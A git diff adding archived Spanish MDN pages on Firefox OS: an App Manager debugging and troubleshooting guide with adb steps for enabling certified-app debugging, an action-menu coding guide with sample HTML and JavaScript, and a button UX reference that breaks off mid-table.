+<p><span id="result_box" lang="es"><span class="hps">Desde</span> <span class="hps">Firefox</span> <span class="hps">28</span> <span class="hps">en adelante, </span>el panel de aplicaciones<span class="hps"> incluye</span> <span class="hps">un editor para</span> <span class="hps">el </span><span class="hps">manifiesto de la aplicación</span><span>:</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6613/apps-panel-fx-28.png" style="width: 1038px; height: 751px;"></p>
+<h2 id="Depuración">Depuración</h2>
+<p><span id="result_box" lang="es"><span class="hps">Al hacer clic</span> <span class="hps">en "Update</span><span>"</span> <span class="hps">actualizará</span> <span class="hps atn">(o </span><span>instalará</span><span>)</span> <span class="hps">la aplicación en</span> <span class="hps">el dispositivo.</span> <span class="hps">Al hacer clic en</span> <span class="hps atn">"</span><span>debug"</span> <span class="hps">se conectará</span> <span class="hps">una caja de herramientas</span> <span class="hps">de</span> <span class="hps">la aplicación,</span> <span class="hps">lo que le permite</span> <span class="hps">depurar</span> <span class="hps">su</span> <span class="hps">código directamente</span><span>:</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6265/debug.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+<div class="note">
+ <p><span id="result_box" lang="es"><span class="hps">Nota:</span> <span class="hps">podrás disfrutar </span><span class="hps">jugando con la</span> <span class="hps">caja de herramientas</span> <span class="hps">-</span> <span class="hps">intenta</span> <span class="hps">alterar el</span> <span class="hps">DOM</span><span>, CSS</span><span>, etc</span> <span class="hps">y verás</span> <span class="hps">los</span> <span class="hps">cambios</span> <span class="hps">reflejados</span> <span class="hps">en el dispositivo</span> <span class="hps">en tiempo real.</span> <span class="hps">Tales</span> <span class="hps">cambios</span> <span class="hps">se guardarán</span> <span class="hps">en el</span> <span class="hps">código de la aplicación</span> <span class="hps">instalada</span><span>, las verás</span> <span class="hps">la próxima vez</span> <span class="hps">que abras la aplicación</span> <span class="hps">en el dispositivo.</span></span></p>
+</div>
+<p><span id="result_box" lang="es"><span class="hps">Antes de</span> <span class="hps">Firefox</span> <span class="hps">28</span><span>,</span> <span class="hps">las herramientas</span> <span class="hps">se ponen en marcha</span> <span class="hps">en una ventana separada</span><span>.</span> <span class="hps">Desde</span> <span class="hps">Firefox</span> <span class="hps">28</span> <span class="hps">en adelante,</span> <span class="hps">las herramientas</span> <span class="hps">se inician en una</span> <span class="hps">ficha independiente</span> <span class="hps">en la propia</span> <span class="hps">App Manager</span><span>, junto con</span> <span class="hps">las</span> <span class="hps">aplicaciones</span> <span class="hps">y las fichas</span> <span class="hps">de dispositivos</span><span>.</span> <span class="hps">La ficha</span> <span class="hps">tendrá</span> <span class="hps">el icono de la</span> <span class="hps">aplicación</span><span>, así que es</span> <span class="hps">fácil de encontrar:</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6615/toolbox-fx-28.png" style="width: 1038px; height: 751px;"></p>
+<h2 id="Errores">Errores</h2>
+<p><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">una aplicación</span> <span class="hps">no se ha añadido</span> <span class="hps">con éxito</span> <span class="hps">-</span> <span class="hps">por ejemplo, si</span> <span class="hps">la URL</span> <span class="hps">es incorrecta</span><span>,</span> <span class="hps">o se ha seleccionado</span> <span class="hps">una carpeta</span> <span class="hps">aplicación empaquetada</span> <span class="hps">-</span> <span class="hps">una entrada</span> <span class="hps">se</span> <span class="hps">agrega a la página</span> <span class="hps">de</span> <span class="hps">esta aplicación,</span> <span class="hps">pero esto va a</span> <span class="hps">incluir</span> <span class="hps">información de errores.</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6259/apps-error.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+<p><span id="result_box" lang="es"><span class="hps">También puedes eliminar</span> <span class="hps">una aplicación desde</span> <span class="hps">esta vista</span><span>,</span> <span class="hps">el ratón encima del</span> nombre/Descripción de la <span class="hps">App</span> en<span class="hps"> la izquierda</span> <span class="hps">de la ventana,</span> <span class="hps">y pulsando el botón</span> <span class="hps">"X</span><span>" que aparece</span> <span class="hps">en cada caso.</span> <span class="hps">Sin embargo, esto</span> <span class="hps">no elimina</span> <span class="hps">la aplicación</span> <span class="hps">del dispositivo.</span> <span class="hps">Para ello</span> <span class="hps">es necesario eliminar</span> <span class="hps">manualmente la</span> <span class="hps">aplicación utilizando</span> <span class="hps">el propio dispositivo.</span></span></p>
+<h2 id="Panel_del_Dispositivo"><a name="Device_panel">Panel del Dispositivo</a></h2>
+<p><span id="result_box" lang="es"><span class="hps">La ficha</span> <span class="hps">de dispositivos muestra</span> <span class="hps">información sobre el dispositivo</span> <span class="hps">conectado.</span> <span class="hps">Desde la ventana</span> <span class="hps">"Aplicaciones</span> <span class="hps">instaladas"</span><span>, las aplicaciones</span> <span class="hps">en el dispositivo</span> <span class="hps">se pueden iniciar y</span> <span class="hps">depurar</span><span>.</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6267/device-tab.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+<div class="note">
+ <p>Nota: las aplicaciones certificadas no están listadas por defecto. <a href="#Debugging_Certified_Apps">Vea como depurar aplicaciones certificadas</a>.</p>
+</div>
+<p>La ventana "Permissions" muestra los privilegios requeridos por las diferentes <a href="/en-US/docs/WebAPI">Web APIs</a> en el dispositivo actual:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6269/permissions.png" style="width: 600px; height: 375px; display: block; margin: 0px auto;"></p>
+<p>Finalmente, puedes tomar una captura de pantalla del dispositivo haciendo click en el botón "Screenshot". la imagen aparecerá en una nueva pestaña en Firefox, y desde allí podrás guardarla o descartarla si es tu elección.</p>
+<h2 id="Depurar_aplicaciones_certificadas"><a name="Debugging_Certified_Apps">Depurar aplicaciones certificadas</a></h2>
+<p><span id="result_box" lang="es"><span class="hps">Actualmente, sólo</span> <span class="hps">los dispositivos que ejecutan</span> <span class="hps">una versión de</span> <span class="hps">desarrollo de</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">1.2</span> <span class="hps">son capaces de</span> <span class="hps">depurar</span> <span class="hps">aplicaciones</span> <span class="hps">certificadas.</span> <span class="hps">Si tienes una</span> <span class="hps">versión en desarrollo</span><span>, puede habilitar</span> <span class="hps">la depuración</span> <span class="hps">de aplicaciones</span> <span class="hps">certificadas</span> <span class="hps">por</span> <span class="hps">el cambio de las</span> <span class="hps">prefe</span><span class="atn">-</span><span>certificada</span> <span class="hps">devtools.debugger.forbid</span><span>-apps</span> <span class="hps">en false en</span> <span class="hps">tu perfil.</span> <span class="hps">Para</span> <span class="hps">ello, siga</span> <span class="hps">los pasos a continuación</span><span>:</span></span></p>
+<ol>
+ <li>
+  <p>En tu computadora, ingresa el siguiente comando en el terminal para entrar al sistema de archivos de tu dispositivo via consola:</p>
+  <pre class="brush: bash">adb shell</pre>
+  <p>tu consola debe cambiar a <code>root@android</code>.</p>
+ </li>
+ <li>
+  <p><span id="result_box" lang="es"><span class="hps">A continuación,</span> detener <span class="hps">B2G</span> <span class="hps">corriendo</span> <span class="hps">el siguiente comando</span></span>:</p>
+  <pre class="brush: bash">stop b2g</pre>
+ </li>
+ <li>
+  <p>Navega al siguiente directorio:</p>
+  <pre>cd /data/b2g/mozilla/*.default/</pre>
+ </li>
+ <li>
+  <p>Aquí, actualiza el archivo pref.js con la siguiente linea:</p>
+  <pre class="brush: js">echo 'user_pref("devtools.debugger.forbid-certified-apps", false);' &gt;&gt; prefs.js</pre>
+ </li>
+ <li>
+  <p>Después de que termines de editar y salvar el archivo, inicia B2G usando el siguiente comando:</p>
+  <pre class="brush: bash">start b2g</pre>
+ </li>
+ <li>
+  <p>Sal del sistema de archivos del dispositivo cuando el comando <code>exit</code>; con esto regresarás a tu terminal normal.</p>
+ </li>
+ <li>
+  <p>Ahora reconecta el App Manager y deberías poder ver las aplicaciones certificadas para su depuración.</p>
+ </li>
+</ol>
+<div class="note">
+ <p>Nota: Si deseas agregar esta preferencia a tu construcción de Gaia puedes correr el comando <code>make DEVICE_DEBUG=1 reset-gaia</code>.</p>
+</div>
+<h2 id="Solución_de_problemas"><a name="Troubleshooting"><span class="short_text" id="result_box" lang="es"><span class="hps">Solución de problemas</span></span></a></h2>
+<p id="My_device_is_not_recognized">Si el dispositivo no es renonocido:</p>
+<ul>
+ <li>Lee la sección <a href="#Configuring_device">Configuración del Dispositivo y el Sistema</a> a fondo, y asegúrate de que has seguido todos los pasos:</li>
+ <li><span id="result_box" lang="es"><span class="hps">¿Está su</span> <span class="hps">equipo</span> <span class="hps">funcionando</span> con <span class="hps">al menos</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">1.2</span></span>?</li>
+ <li>
+  <div class="almost_half_cell" id="gt-res-content">
+   <div dir="ltr" style="zoom: 1;">
+    <span id="result_box" lang="es"><span class="hps">¿Has habilitado la opción</span> <span class="hps atn">"</span><span>Depuración remota</span><span>" en la configuración</span> <span class="hps">del</span><span class="hps"> dispositivo?</span></span></div>
+  </div>
+ </li>
+ <li>Si no estás usando el <a href="#Adb_Helper_Add-on">complemento ADB Helper</a>:
+  <ul>
+   <li>¿Has ejecutado sastifactoriamente el comando <code>adb forward</code>.</li>
+  </ul>
+ </li>
+ <li>Si estás usando el <a href="#Adb_Helper_Add-on">complemento ADB Helper</a> y tu dispositivo no está listado en la barra de herramientas inferior:
+  <ul>
+   <li>Si usas Linux, <a href="http://developer.android.com/tools/device.html#setting-up">asegurate de haber configurado las reglas udev correctamente</a></li>
+   <li>Si usas Windows, <a href="http://developer.android.com/tools/device.html#setting-up">asegúrate de haber instalado los controladores apropiados</a></li>
+  </ul>
+ </li>
+ <li>¿Está bloqueada la pantalla de tu dispositivo?</li>
+</ul>
+<p>¿No puedes conectar tu dispositivo al App Manager o iniciar el simulador? <a href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication"> </a><span class="short_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="Let us know or file a bug."><a href="https://wiki.mozilla.org/DevTools/GetInvolved#Communication">Háganos saber</a> o <a href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;attach_text=&amp;blocked=&amp;bug_file_loc=http%3A%2F%2F&amp;bug_ignored=0&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_blocking_b2g=---&amp;cf_crash_signature=&amp;cf_status_b2g18=---&amp;cf_status_b2g_1_1_hd=---&amp;cf_status_b2g_1_2=---&amp;cf_status_firefox24=---&amp;cf_status_firefox25=---&amp;cf_status_firefox26=---&amp;cf_status_firefox27=---&amp;cf_status_firefox_esr17=---&amp;cf_status_firefox_esr24=---&amp;cf_tracking_b2g18=---&amp;cf_tracking_firefox24=---&amp;cf_tracking_firefox25=---&amp;cf_tracking_firefox26=---&amp;cf_tracking_firefox27=---&amp;cf_tracking_firefox_esr17=---&amp;cf_tracking_firefox_esr24=---&amp;cf_tracking_firefox_relnote=---&amp;cf_tracking_relnote_b2g=---&amp;comment=&amp;component=Developer%20Tools%3A%20App%20Manager&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-203=X&amp;flag_type-37=X&amp;flag_type-41=X&amp;flag_type-5=X&amp;flag_type-607=X&amp;flag_type-720=X&amp;flag_type-721=X&amp;flag_type-737=X&amp;flag_type-748=X&amp;flag_type-781=X&amp;flag_type-787=X&amp;flag_type-791=X&amp;flag_type-799=X&amp;flag_type-800=X&amp;flag_type-802=X&amp;flag_type-803=X&amp;flag_type-809=X&amp;flag_type-825=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Firefox&amp;qa_contact=developer.tools%40firefox.bugs&amp;rep_platform=x86&amp;requestee_type-203=&amp;requestee_type-41=&amp;requestee_type-5=&amp;requestee_type-607=&amp;requestee_type-748=&amp;requestee_type-781=&amp;requestee_type-787=&amp;requestee_type-791=&amp;requestee_type-800=&amp;short_desc=&amp;status_whiteboard=&amp;target_milestone=---&amp;version=Trunk">abra un bug</a>.</span></span></p>
diff --git a/files/es/archive/b2g_os/ux/building_blocks/action_menu/coding/index.html b/files/es/archive/b2g_os/ux/building_blocks/action_menu/coding/index.html
new file mode 100644
index 0000000000..a914e72083
--- /dev/null
+++ b/files/es/archive/b2g_os/ux/building_blocks/action_menu/coding/index.html
@@ -0,0 +1,80 @@
+---
+title: 'Coding guide: Action menus'
+slug: Archive/B2G_OS/UX/Building_blocks/Action_menu/Coding
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Action_menu/Coding
+---
+<p>Here you can find examples of how to create <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu">action menus</a> on Firefox OS, as well as downloads for the CSS and image resources used by the built-in apps on Firefox OS. You can copy these resources into your app and make use of them to build apps that match these apps' appearances.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Object menus are implemented using the same code; the only difference is that you never use a title in an <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Object_menu" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Object_menu">object menu</a>.</p>
+</div>
+
+<h2 id="Implementing_action_menus">Implementing action menus</h2>
+
+<p>To implement an action menu using the style shown here, place the CSS and media files into your app and then import the CSS using the {{cssxref("@import")}} at-rule:</p>
+
+<pre class="brush: css">@import url(resources/action_menu.css);</pre>
+
+<p>Make sure the media files are in the location expected by the CSS (either by placing them in a corresponding location or by revising the CSS).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="With_title" name="With_title">With title</h3>
+
+<h4 id="HTML_to_create_the_menu">HTML to create the menu</h4>
+
+<p>The HTML below creates the dialog with four buttons, one of which is disabled.</p>
+
+<pre class="brush: html">&lt;form role="dialog" data-type="action" onsubmit="return false;" id="sample-menu"&gt;
+  &lt;header id="sample-title"&gt; Title &lt;/header&gt; &lt;!-- this header is optional --&gt;
+  &lt;menu&gt;
+    &lt;button id="button1"&gt; Action 1 &lt;/button&gt;
+    &lt;button id="button2" disabled&gt; Action 2 (disabled) &lt;/button&gt;
+    &lt;button id="button3"&gt; Action 3 &lt;/button&gt;
+    &lt;button id="cancel"&gt; Cancel &lt;/button&gt;
+  &lt;/menu&gt;
+&lt;/form&gt;
+</pre>
+
+<h4 id="JavaScript_content">JavaScript content</h4>
+
+<p>The JavaScript below simply adds code to some of the buttons to change the title of the dialog when clicked.</p>
+
+<pre class="brush: js">var btn = document.querySelector("#button1");
+btn.addEventListener("click", function() {
+  var title = document.getElementById("sample-title");
+  title.innerHTML="Button 1";
+});
+
+var btn = document.querySelector("#button3");
+btn.addEventListener("click", function() {
+  var title = document.getElementById("sample-title");
+  title.innerHTML="Button 3";
+});
+</pre>
+
+<h4 id="Working_demo">Working demo</h4>
+
+<p>You can try out the action menu in this live demonstration.</p>
+
+<h3 id="Without_title" name="Without_title">Without title</h3>
+
+<h4 id="HTML_to_create_the_menu_2">HTML to create the menu</h4>
+
+<p>The HTML below creates the dialog with four buttons, one of which is disabled.</p>
+
+<pre class="brush: html">&lt;form role="dialog" data-type="action" onsubmit="return false;" id="sample-menu"&gt;
+  &lt;menu&gt;
+    &lt;button id="button1"&gt; Action 1 &lt;/button&gt;
+    &lt;button id="button2" disabled&gt; Action 2 (disabled) &lt;/button&gt;
+    &lt;button id="button3"&gt; Action 3 &lt;/button&gt;
+    &lt;button id="cancel"&gt; Cancel &lt;/button&gt;
+  &lt;/menu&gt;
+&lt;/form&gt;
+</pre>
+
+<h4 id="Working_demo_2">Working demo</h4>
+
+<p>You can try out the action menu in this live demonstration.</p>
+
+<p> </p>
diff --git a/files/es/archive/b2g_os/ux/building_blocks/action_menu/index.html b/files/es/archive/b2g_os/ux/building_blocks/action_menu/index.html
new file mode 100644
index 0000000000..e4263d2d1a
--- /dev/null
+++ b/files/es/archive/b2g_os/ux/building_blocks/action_menu/index.html
@@ -0,0 +1,46 @@
+---
+title: Menú de acciones
+slug: Archive/B2G_OS/UX/Building_blocks/Action_menu
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Action_menu
+---
+<p>Un menú de acciones, como indica su nombre, muestra un listado de acciones, relativas al contenido de la aplicación, a traves del cual el usuario puede elegir qué hacer. Visita la <a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Guía de código</a> para saber cómo implementar un menú de acciones en tu aplicación.</p>
+<h2 id="Caracteristicas">Caracteristicas</h2>
+<ul>
+  <li>Abiertos desde botones dentro del contenido de la aplicacion, estos botones aparecen a menudo dentro de barras de herramientas (por ejemplo, el boton de "Compartir" de las aplicaciones de navegador).</li>
+  <li>Los menus de acciones contienen uno o mas elementos.</li>
+  <li>Estos menus se expanden en altura para acomodarese a sus elementos ,hasta el máximo de la altura de la pantalla. Una vez que se alcanza el máximo, el contenido se muestra con scroll vertical. Generalmente, una buena práctica es intentar no incluro más de cinco elementos mas el titulo del menú.</li>
+  <li>La cadena del tíutulo es opcional.</li>
+  <li>El menu se cierra por una de dos:
+    <ul>
+      <li>Seleccionar una de las acciones.</li>
+      <li>Pulsar el boton de "Cancelar".</li>
+    </ul>
+  </li>
+</ul>
+<h2 id="Visuales">Visuales</h2>
+<table class="fxosScreenGrid">
+  <tbody>
+    <tr>
+      <td>
+        <h3 id="Estado_de_reposo">Estado de reposo</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4641/action-menu-idle.png" style="width: 320px; height: 480px;"></p>
+        <p>El boton de acciones abierto, esperando a que el usuario presione una seleccion.</p>
+      </td>
+      <td>
+        <h3 id="Estado_pulsado">Estado pulsado</h3>
+        <p><img alt="" src="https://mdn.mozillademos.org/files/4635/action-menu.png" style="width: 320px; height: 480px;"></p>
+        <p>Aspecto del menu mientras el dedo del usuario presiona la "Opcion 03".</p>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Variaciones">Variaciones</h2>
+<p>Existen dos variaciones basicas en el menu de acciones: que el menu tenga o no una cadena de titulo en la parte superior.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5381/action-menu-variaciones.jpg" style="width: 1023px; height: 532px;"></p>
+<h2 id="Interaccion">Interaccion</h2>
+<p>El diagrama muestra como trabaja el flujo de interaccion del ususario con el menu de acciones.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/4649/action-menu-flow-1.png" style="width: 731px; height: 1169px;"></p>
+<h2 id="Ver_tambien">Ver tambien</h2>
+<ul>
+  <li><a href="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Action_menu/Coding">Guia de codigo de menus de acciones</a></li>
+</ul>
diff --git a/files/es/archive/b2g_os/ux/building_blocks/button/index.html b/files/es/archive/b2g_os/ux/building_blocks/button/index.html
new file mode 100644
index 0000000000..a2e0612620
--- /dev/null
+++ b/files/es/archive/b2g_os/ux/building_blocks/button/index.html
@@ -0,0 +1,231 @@
+---
+title: Botón
+slug: Archive/B2G_OS/UX/Building_blocks/Button
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_blocks/1.x/Button
+---
+<p>Realiza una acción cuando es pulsado por el usuario. Son objetos de interfaz de usuario que tienen una amplia variedad de estilos. Consulta la <a href="/es/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding">Guía de codificación</a> para informarte sobre cómo implementar botones con un aspecto como los que aquí se describen.</p>
+<h2 id="Características">Características</h2>
+<ul>
+  <li>Los botones tienen dos componentes: un objetivo visual y un objetivo de contacto. El objetivo de contacto es siempre más grande, con el fin de reducir los errores de contacto haciendo el botón más fácil de presionar.</li>
+  <li>Los botones tienen dos estado: normal y presionado.</li>
+  <li>Los botones también pueden ser <strong>deshabilitados</strong>, lo que significa que no pueden ser activados por el usuario, y se muestran atenuados para indicar que han sido deshabilitados.</li>
+</ul>
+<p>Hay multiples tipo de botones:</p>
+<dl>
+  <dt>
+    Botones de acción</dt>
+  <dd>
+    Se utilizan cuando solo hay unas pocas acciones y no es necesaria una lista. La acción principal del botón utiliza un color especial resatado para indicar que es la opción principal.</dd>
+  <dt>
+    Botones de lista</dt>
+  <dd>
+    Se utilizan para mostrar una lista de acciones,  o para activar la presentación de un valor de selección.</dd>
+  <dt>
+    Botones de campo de entrada</dt>
+  <dd>
+    Se utilizan para llevar a cabo acciones con campos de entrada.</dd>
+  <dt>
+    Botones especiales/pesonalizados</dt>
+  <dd>
+    Se utilizan para proporcionar acciones específicas incluyendo grabar, llamar y similares.</dd>
+</dl>
+<h2 id="Visualización">Visualización</h2>
+<p>Aquí hay varios ejemplos visuales de cómo deberían verse los botones. No olvides que puedes usar la hoja de estilos y los recursos de imágenes proporcionados en la<a href="/es/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding" title="/en-US/docs/Mozilla/Firefox_OS/UX/Building_blocks/Button/Coding"> Guía de codificación</a> para implementarlos.</p>
+<h3 id="Botones_de_acción">Botones de acción</h3>
+<p>Se utilizan cuando solo hay unas pocas acciones y no es necesaria una lista. La acción principal del botón utiliza un color especial resatado para indicar que es la opción principal.</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Acción principal</th>
+      <th scope="col">Acción secundaria</th>
+      <th scope="col">Borrar</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Normal</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4693/btn-main-normal.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4699/btn-secondary-normal.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4687/btn-delete-normal.jpg" style="width: 140px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Presionado</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4691/btn-main-lit.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4697/btn-secondary-lit.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4685/btn-delete-lit.jpg" style="width: 140px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Deshabilitado</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4689/btn-main-disabled.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4695/btn-secondary-disabled.jpg" style="width: 140px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4683/btn-delete-disabled.jpg" style="width: 140px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<p>Sobre fondo oscuro, los botones deshabilitados tienen un aspecto especial, como se ve abajo.</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Acción principal</th>
+      <th scope="col">Acción secundaria</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Disabled</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4701/btn-primary-disabled-dark.jpg" style="width: 140px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4703/btn-secondary-disabled-dark.jpg" style="width: 140px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Botones_de_lista">Botones de lista</h3>
+<p>Se utilizan para mostrar una lista de acciones,  o para activar la presentación de un valor de selección.</p>
+<h4 id="Desencadenar_acciones">Desencadenar acciones</h4>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Desecadenar una acción en la vista actual</th>
+      <th scope="col">Desencadenar una acción en una nueva vista</th>
+      <th scope="col">Mostrar un selector de valores</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Normal</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4725/btn-trigger-current-normal.png" style="width: 291px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4731/btn-trigger-new-normal.png" style="width: 290px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4743/btn-trigger-selector-normal.png" style="width: 291px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Presionado</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4727/btn-trigger-current-pressed.png" style="width: 291px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4733/btn-trigger-new-pressed.png" style="width: 289px; height: 39px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4745/btn-trigger-selector-pressed.png" style="width: 291px; height: 40px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Deshabilitado</th>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4723/btn-trigger-current-disabled.png" style="width: 290px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4729/btn-trigger-new-disabled.png" style="width: 290px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4741/btn-trigger-selector-disabled.png" style="width: 291px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h4 id="Selección_de_valores">Selección de valores</h4>
+<p>Una vez que se abre un selector de valores, necesitarás al menos un botón en el panel de selección de valores para descartar el valor seleccionado. Estos botones deberían tener el siguiente aspecto:</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Normal</th>
+      <th scope="col">Presionado</th>
+      <th scope="col">Deshabilitado</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4755/btn-selector-normal.png" style="width: 269px; height: 39px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4757/btn-selector-pressed.png" style="width: 269px; height: 39px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4753/btn-selector-disabled.png" style="width: 269px; height: 39px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Botones_de_campos_de_entrada">Botones de campos de entrada</h3>
+<p>Los botones de campos de entrada son botones asociados a un campo de entrada, que cuando se presionan, llevan a cabo una acción relacionada con ese campo de entrada.</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Normal</th>
+      <th scope="col">Presionado</th>
+      <th scope="col">Deshabilitado</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4761/input-field-normal.png" style="width: 320px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4763/input-field-pressed.png" style="width: 320px; height: 40px;"></td>
+      <td><img alt="" src="https://mdn.mozillademos.org/files/4759/input-field-disabled.png" style="width: 320px; height: 40px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h3 id="Botones_especiales">Botones especiales</h3>
+<p>Los botones especiales son botones visuales al estilo icono que se utilizan para propósitos especiales, tales como operar con la cámara del dispositivo, contestar o colgar el teléfono y activar el teclado de llamada. Por supuesto puedes encontrar otras utilidades a estos botones especiales.</p>
+<h4 id="Botones_de_cámara">Botones de cámara</h4>
+<p>Estos botones no tienen estado deshabilitado; simplemente no los muestras si la ocpión de tomar fotos no está disponible.</p>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Grabar video</th>
+      <th scope="col">Detener grabación video</th>
+      <th scope="col">Tomar foto</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <th scope="row">Normal</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4771/video-record-normal.png" style="width: 100px; height: 45px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4775/video-stop-normal.png" style="width: 100px; height: 45px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4767/camera-normal.png" style="width: 100px; height: 45px;"></td>
+    </tr>
+    <tr>
+      <th scope="row">Presionado</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4773/video-record-pressed.png" style="width: 100px; height: 45px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4777/video-stop-pressed.png" style="width: 100px; height: 45px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4769/camera-pressed.png" style="width: 100px; height: 45px;"></td>
+    </tr>
+  </tbody>
+</table>
+<h4 id="Botones_de_teléfono">Botones de teléfono</h4>
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <th scope="row"> </th>
+      <th scope="col">Descolgar</th>
+      <th scope="col">Colgar</th>
+      <th scope="col">Ocultar teclado</th>
+    </tr>
+    <tr>
+      <th scope="row">Normal</th>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4781/phone-answer-normal.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4787/phone-hangup-normal.png" style="width: 130px; height: 40px;"></td>
+      <td style="background-color: black;"><img alt="" src="https://mdn.mozillademos.org/files/4793/hide-dialer-normal.png" style="width: 130px; height: 40px;"></td>
+    </tr>
+    <tr>
